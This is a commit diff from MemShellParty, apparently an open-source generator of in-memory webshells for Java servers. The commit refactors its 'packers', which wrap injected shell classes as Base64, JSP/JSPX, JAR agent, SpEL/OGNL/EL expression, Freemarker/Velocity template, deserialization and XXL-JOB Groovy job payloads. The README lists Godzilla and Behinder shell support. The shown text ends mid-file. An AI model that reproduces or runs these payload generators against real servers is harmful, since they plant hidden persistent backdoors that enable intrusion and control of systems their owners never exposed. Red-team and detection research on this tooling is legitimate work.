mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support multi payload generate
This commit is contained in:
@@ -93,24 +93,29 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell reajason/memsh
|
|||||||
|
|
||||||
### 内存马功能
|
### 内存马功能
|
||||||
|
|
||||||
- [x] 哥斯拉
|
- [x] Godzilla 哥斯拉
|
||||||
- [x] 冰蝎
|
- [x] Behinder 冰蝎
|
||||||
- [x] 命令执行
|
- [x] 命令执行
|
||||||
|
- [ ] AntSword 蚁剑
|
||||||
- [ ] Suo5
|
- [ ] Suo5
|
||||||
- [ ] Neo-reGeorg
|
- [ ] Neo-reGeorg
|
||||||
- [ ] Custom
|
- [ ] Custom
|
||||||
|
|
||||||
### 封装方式
|
### 封装方式
|
||||||
|
|
||||||
- [x] JSP
|
|
||||||
- [x] BCEL
|
|
||||||
- [x] BASE64
|
- [x] BASE64
|
||||||
|
- [x] GZIP BASE64
|
||||||
|
- [x] JSP
|
||||||
|
- [x] JSPX
|
||||||
|
- [x] JAR
|
||||||
|
- [x] BCEL
|
||||||
- [x] 脚本引擎
|
- [x] 脚本引擎
|
||||||
- [x] EL、SpEL、OGNL
|
- [x] EL、SpEL、OGNL
|
||||||
- [x] Velocity、Freemarker
|
- [x] Velocity、Freemarker
|
||||||
- [x] 原生反序列化(CB4)
|
- [x] 原生反序列化(CB4)
|
||||||
|
- [x] Agent
|
||||||
|
- [x] XXL-JOB Executor
|
||||||
- [ ] JNDI
|
- [ ] JNDI
|
||||||
- [ ] Agent
|
|
||||||
- [ ] JDBC 连接
|
- [ ] JDBC 连接
|
||||||
- [ ] 其他常见反序列化
|
- [ ] 其他常见反序列化
|
||||||
|
|
||||||
|
|||||||
@@ -10,10 +10,7 @@ import org.springframework.web.bind.annotation.CrossOrigin;
|
|||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
import java.util.Arrays;
|
import java.util.*;
|
||||||
import java.util.HashMap;
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.Map;
|
|
||||||
import java.util.stream.Collectors;
|
import java.util.stream.Collectors;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -33,7 +30,7 @@ public class ConfigController {
|
|||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
ShellTool[] supportedShellTools = ShellTool.values();
|
ShellTool[] supportedShellTools = ShellTool.values();
|
||||||
Map<String, List<String>> map = new HashMap<>(16);
|
Map<String, List<String>> map = new LinkedHashMap<>(16);
|
||||||
for (ShellTool shellTool : supportedShellTools) {
|
for (ShellTool shellTool : supportedShellTools) {
|
||||||
List<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
|
List<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
|
||||||
if (supportedShellTypes.isEmpty()) {
|
if (supportedShellTypes.isEmpty()) {
|
||||||
@@ -51,7 +48,11 @@ public class ConfigController {
|
|||||||
.collect(Collectors.toList())
|
.collect(Collectors.toList())
|
||||||
);
|
);
|
||||||
config.setCore(coreMap);
|
config.setCore(coreMap);
|
||||||
config.setPackers(Arrays.stream(Packers.values()).map(Packers::name).toList());
|
config.setPackers(
|
||||||
|
Arrays.stream(Packers.values())
|
||||||
|
.filter(packers -> packers.getParentPacker() == null)
|
||||||
|
.map(Packers::name).toList()
|
||||||
|
);
|
||||||
return ResponseEntity.ok(config);
|
return ResponseEntity.ok(config);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -7,7 +7,9 @@ import com.reajason.javaweb.memshell.config.GenerateResult;
|
|||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
import com.reajason.javaweb.memshell.packer.JarPacker;
|
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
|
||||||
import org.springframework.http.ResponseEntity;
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
@@ -27,12 +29,13 @@ public class GeneratorController {
|
|||||||
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
||||||
InjectorConfig injectorConfig = request.getInjectorConfig();
|
InjectorConfig injectorConfig = request.getInjectorConfig();
|
||||||
GenerateResult generateResult = GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig);
|
GenerateResult generateResult = GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
String packResult = null;
|
Packer packer = request.getPacker().getInstance();
|
||||||
if (request.getPacker().getInstance() instanceof JarPacker) {
|
if (packer instanceof JarPacker) {
|
||||||
packResult = Base64.getEncoder().encodeToString(request.getPacker().getInstance().packBytes(generateResult));
|
return ResponseEntity.ok(new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult))));
|
||||||
|
} else if (packer instanceof AggregatePacker) {
|
||||||
|
return ResponseEntity.ok(new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult)));
|
||||||
} else {
|
} else {
|
||||||
packResult = request.getPacker().getInstance().pack(generateResult);
|
return ResponseEntity.ok(new GenerateResponse(generateResult, packer.pack(generateResult)));
|
||||||
}
|
}
|
||||||
return ResponseEntity.ok(new GenerateResponse(generateResult, packResult));
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,16 +1,29 @@
|
|||||||
package com.reajason.javaweb.boot.dto;
|
package com.reajason.javaweb.boot.dto;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import lombok.AllArgsConstructor;
|
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
|
import lombok.NoArgsConstructor;
|
||||||
|
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/18
|
* @since 2024/12/18
|
||||||
*/
|
*/
|
||||||
@Data
|
@Data
|
||||||
@AllArgsConstructor
|
@NoArgsConstructor
|
||||||
public class GenerateResponse {
|
public class GenerateResponse {
|
||||||
private GenerateResult generateResult;
|
private GenerateResult generateResult;
|
||||||
private String packResult;
|
private String packResult;
|
||||||
|
private Map<String, String> allPackResults;
|
||||||
|
|
||||||
|
public GenerateResponse(GenerateResult generateResult, String packResult) {
|
||||||
|
this.generateResult = generateResult;
|
||||||
|
this.packResult = packResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
public GenerateResponse(GenerateResult generateResult, Map<String, String> allPackResults) {
|
||||||
|
this.allPackResults = allPackResults;
|
||||||
|
this.generateResult = generateResult;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,45 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
|
||||||
|
import java.util.LinkedHashMap;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.stream.Collectors;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/1/26
|
||||||
|
*/
|
||||||
|
public interface AggregatePacker extends Packer {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 聚合打包当前所有分类下的 payload
|
||||||
|
*
|
||||||
|
* @param generateResult 生成结果
|
||||||
|
* @return key -> 打包名称, value -> 打包 payload
|
||||||
|
*/
|
||||||
|
default Map<String, String> packAll(GenerateResult generateResult) {
|
||||||
|
return Packers.getPackersWithParent(this.getClass()).stream().collect(Collectors.toMap(
|
||||||
|
Enum::name,
|
||||||
|
packers -> packers.getInstance().pack(generateResult),
|
||||||
|
(existing, replacement) -> existing,
|
||||||
|
LinkedHashMap::new
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 将第一个 sub packer 作为默认输出
|
||||||
|
*
|
||||||
|
* @param generateResult 生成的内存马信息
|
||||||
|
* @return payload
|
||||||
|
*/
|
||||||
|
@Override
|
||||||
|
default String pack(GenerateResult generateResult) {
|
||||||
|
List<Packers> packersWithParent = Packers.getPackersWithParent(this.getClass());
|
||||||
|
if (packersWithParent.isEmpty()) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
return packersWithParent.get(0).getInstance().pack(generateResult);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,8 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/1/1
|
|
||||||
*/
|
|
||||||
public interface JarPacker extends Packer {
|
|
||||||
}
|
|
||||||
@@ -20,13 +20,4 @@ public interface Packer {
|
|||||||
default String pack(GenerateResult generateResult) {
|
default String pack(GenerateResult generateResult) {
|
||||||
throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 string 生成");
|
throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 string 生成");
|
||||||
}
|
}
|
||||||
|
}
|
||||||
/**
|
|
||||||
* 将生成的内存马打包成 bytes
|
|
||||||
* @param generateResult 生成的内存马信息
|
|
||||||
* @return 字节数组
|
|
||||||
*/
|
|
||||||
default byte[] packBytes(GenerateResult generateResult) {
|
|
||||||
throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 bytes 生成");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,7 +1,29 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
package com.reajason.javaweb.memshell.packer;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
|
||||||
|
import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
|
||||||
|
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
|
||||||
|
import com.reajason.javaweb.memshell.packer.deserialize.DeserializePacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.el.ELPacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jsp.DefalutJspPacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.spel.SpELPacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.spel.SpELScriptEnginePacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.spel.SpELSpringIOUtilsGzipPacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.spel.SpELSpringUtilsPacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.velocity.VelocityPacker;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Objects;
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/1/23
|
* @since 2025/1/23
|
||||||
@@ -12,13 +34,10 @@ public enum Packers {
|
|||||||
* Base64
|
* Base64
|
||||||
*/
|
*/
|
||||||
Base64(new Base64Packer()),
|
Base64(new Base64Packer()),
|
||||||
|
DefaultBase64(new DefaultBase64Packer(), Base64Packer.class),
|
||||||
|
GzipBase64(new GzipBase64Packer(), Base64Packer.class),
|
||||||
|
|
||||||
/**
|
Jar(new DefaultJarPacker()),
|
||||||
* GzipBase64
|
|
||||||
*/
|
|
||||||
GzipBase64(new GzipBase64()),
|
|
||||||
|
|
||||||
Jar(new SimpleJarPacker()),
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* BCEL
|
* BCEL
|
||||||
@@ -29,6 +48,8 @@ public enum Packers {
|
|||||||
* JSP 打包器
|
* JSP 打包器
|
||||||
*/
|
*/
|
||||||
JSP(new JspPacker()),
|
JSP(new JspPacker()),
|
||||||
|
DefaultJSP(new DefalutJspPacker(), JspPacker.class),
|
||||||
|
JSPX(new JspxPacker(), JspPacker.class),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 脚本引擎打包器
|
* 脚本引擎打包器
|
||||||
@@ -47,7 +68,10 @@ public enum Packers {
|
|||||||
|
|
||||||
OGNL(new OGNLPacker()),
|
OGNL(new OGNLPacker()),
|
||||||
|
|
||||||
SpEL(new SpELSpringIOUtilsGzipPacker()),
|
SpEL(new SpELPacker()),
|
||||||
|
SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),
|
||||||
|
SpELSpringIOUtils(new SpELSpringIOUtilsGzipPacker(), SpELPacker.class),
|
||||||
|
SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class),
|
||||||
|
|
||||||
Freemarker(new FreemarkerPacker()),
|
Freemarker(new FreemarkerPacker()),
|
||||||
|
|
||||||
@@ -58,12 +82,22 @@ public enum Packers {
|
|||||||
XxlJob(new XxlJobPacker()),
|
XxlJob(new XxlJobPacker()),
|
||||||
;
|
;
|
||||||
private final Packer instance;
|
private final Packer instance;
|
||||||
|
private Class<?> parentPacker = null;
|
||||||
|
|
||||||
Packers(Packer instance) {
|
Packers(Packer instance) {
|
||||||
this.instance = instance;
|
this.instance = instance;
|
||||||
}
|
}
|
||||||
|
|
||||||
Packer getPacker(Packers packerType) {
|
Packers(Packer instance, Class<?> parentPacker) {
|
||||||
|
this.instance = instance;
|
||||||
|
this.parentPacker = parentPacker;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Packer getPacker(Packers packerType) {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static List<Packers> getPackersWithParent(Class<?> parentPacker) {
|
||||||
|
return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).toList();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,47 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
|
||||||
|
|
||||||
import com.alibaba.fastjson2.JSONObject;
|
|
||||||
import com.alibaba.fastjson2.JSONWriter;
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import org.apache.commons.io.IOUtils;
|
|
||||||
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.nio.charset.Charset;
|
|
||||||
import java.util.Objects;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/1/21
|
|
||||||
*/
|
|
||||||
public class XxlJob230Packer implements Packer {
|
|
||||||
String template = "";
|
|
||||||
|
|
||||||
public XxlJob230Packer() {
|
|
||||||
try {
|
|
||||||
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/XXL-Job-DefineClass-230.java")), Charset.defaultCharset());
|
|
||||||
} catch (IOException ignored) {
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String pack(GenerateResult generateResult) {
|
|
||||||
String source = template
|
|
||||||
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str())
|
|
||||||
.replace("{{className}}", generateResult.getInjectorClassName());
|
|
||||||
JSONObject jsonObject = new JSONObject();
|
|
||||||
jsonObject.put("jobId", 1);
|
|
||||||
jsonObject.put("executorHandler", "demoJobHandler");
|
|
||||||
jsonObject.put("executorParams", "demoJobHandler");
|
|
||||||
jsonObject.put("executorBlockStrategy", "COVER_EARLY");
|
|
||||||
jsonObject.put("executorTimeout", 0);
|
|
||||||
jsonObject.put("logId", 1);
|
|
||||||
jsonObject.put("logDateTime", System.currentTimeMillis());
|
|
||||||
jsonObject.put("glueType", "GLUE_GROOVY");
|
|
||||||
jsonObject.put("glueSource", source);
|
|
||||||
jsonObject.put("glueUpdatetime", System.currentTimeMillis());
|
|
||||||
jsonObject.put("broadcastIndex", 0);
|
|
||||||
jsonObject.put("broadcastTotal", 0);
|
|
||||||
return JSONObject.toJSONString(jsonObject, JSONWriter.Feature.PrettyFormat);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,10 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.base64;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/17
|
||||||
|
*/
|
||||||
|
public class Base64Packer implements AggregatePacker {
|
||||||
|
}
|
||||||
+3
-2
@@ -1,13 +1,14 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
package com.reajason.javaweb.memshell.packer.base64;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/17
|
* @since 2024/12/17
|
||||||
*/
|
*/
|
||||||
public class Base64Packer implements Packer {
|
public class DefaultBase64Packer implements Packer {
|
||||||
@Override
|
@Override
|
||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
return Base64.encodeBase64String(generateResult.getInjectorBytes());
|
return Base64.encodeBase64String(generateResult.getInjectorBytes());
|
||||||
+3
-2
@@ -1,6 +1,7 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
package com.reajason.javaweb.memshell.packer.base64;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import org.apache.commons.codec.binary.Base64;
|
||||||
@@ -9,7 +10,7 @@ import org.apache.commons.codec.binary.Base64;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/1/22
|
* @since 2025/1/22
|
||||||
*/
|
*/
|
||||||
public class GzipBase64 implements Packer {
|
public class GzipBase64Packer implements Packer {
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
+2
-1
@@ -1,9 +1,10 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
package com.reajason.javaweb.memshell.packer.deserialize;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||||
import com.reajason.javaweb.deserialize.DeserializeGenerator;
|
import com.reajason.javaweb.deserialize.DeserializeGenerator;
|
||||||
import com.reajason.javaweb.deserialize.PayloadType;
|
import com.reajason.javaweb.deserialize.PayloadType;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
+3
-1
@@ -1,6 +1,8 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
package com.reajason.javaweb.memshell.packer.el;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
|
||||||
import org.apache.commons.io.IOUtils;
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
+3
-1
@@ -1,6 +1,8 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
package com.reajason.javaweb.memshell.packer.freemarker;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
|
||||||
import org.apache.commons.io.IOUtils;
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
+1
-1
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
package com.reajason.javaweb.memshell.packer.jar;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
+2
-2
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
package com.reajason.javaweb.memshell.packer.jar;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
@@ -12,7 +12,7 @@ import java.util.jar.Manifest;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/1/22
|
* @since 2025/1/22
|
||||||
*/
|
*/
|
||||||
public class SimpleJarPacker implements JarPacker {
|
public class DefaultJarPacker implements JarPacker {
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.jar;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/1/1
|
||||||
|
*/
|
||||||
|
public interface JarPacker extends Packer {
|
||||||
|
/**
|
||||||
|
* 将生成的内存马打包成 bytes
|
||||||
|
*
|
||||||
|
* @param generateResult 生成的内存马信息
|
||||||
|
* @return 字节数组
|
||||||
|
*/
|
||||||
|
byte[] packBytes(GenerateResult generateResult);
|
||||||
|
}
|
||||||
+4
-4
@@ -1,6 +1,7 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
package com.reajason.javaweb.memshell.packer.jsp;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import org.apache.commons.io.IOUtils;
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
@@ -11,11 +12,11 @@ import java.util.Objects;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/26
|
* @since 2024/11/26
|
||||||
*/
|
*/
|
||||||
public class JspPacker implements Packer {
|
public class DefalutJspPacker implements Packer {
|
||||||
|
|
||||||
String jspTemplate = null;
|
String jspTemplate = null;
|
||||||
|
|
||||||
public JspPacker() {
|
public DefalutJspPacker() {
|
||||||
try {
|
try {
|
||||||
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
|
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
@@ -23,7 +24,6 @@ public class JspPacker implements Packer {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
@@ -0,0 +1,10 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.jsp;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/11/26
|
||||||
|
*/
|
||||||
|
public class JspPacker implements AggregatePacker {
|
||||||
|
}
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.jsp;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
|
import java.nio.charset.Charset;
|
||||||
|
import java.util.Objects;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/11/26
|
||||||
|
*/
|
||||||
|
public class JspxPacker implements Packer {
|
||||||
|
|
||||||
|
String jspxTemplate = null;
|
||||||
|
|
||||||
|
public JspxPacker() {
|
||||||
|
try {
|
||||||
|
jspxTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jspx")), Charset.defaultCharset());
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public String pack(GenerateResult generateResult) {
|
||||||
|
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
||||||
|
String injectorClassName = generateResult.getInjectorClassName();
|
||||||
|
return jspxTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
+3
-1
@@ -1,6 +1,8 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
package com.reajason.javaweb.memshell.packer.ognl;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
|
||||||
import org.apache.commons.io.IOUtils;
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
+2
-1
@@ -1,6 +1,7 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
package com.reajason.javaweb.memshell.packer.scriptengine;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import org.apache.commons.io.IOUtils;
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
@@ -0,0 +1,10 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.spel;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/1/26
|
||||||
|
*/
|
||||||
|
public class SpELPacker implements AggregatePacker {
|
||||||
|
}
|
||||||
+4
-3
@@ -1,18 +1,19 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
package com.reajason.javaweb.memshell.packer.spel;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packers;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/13
|
* @since 2024/12/13
|
||||||
*/
|
*/
|
||||||
public class SpELScriptEnginePacker implements Packer {
|
public class SpELScriptEnginePacker implements Packer {
|
||||||
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
|
|
||||||
String template = "T(javax.script.ScriptEngineManager).newInstance().getEngineByName('js').eval('{{script}}')";
|
String template = "T(javax.script.ScriptEngineManager).newInstance().getEngineByName('js').eval('{{script}}')";
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
String script = scriptEnginePacker.pack(generateResult);
|
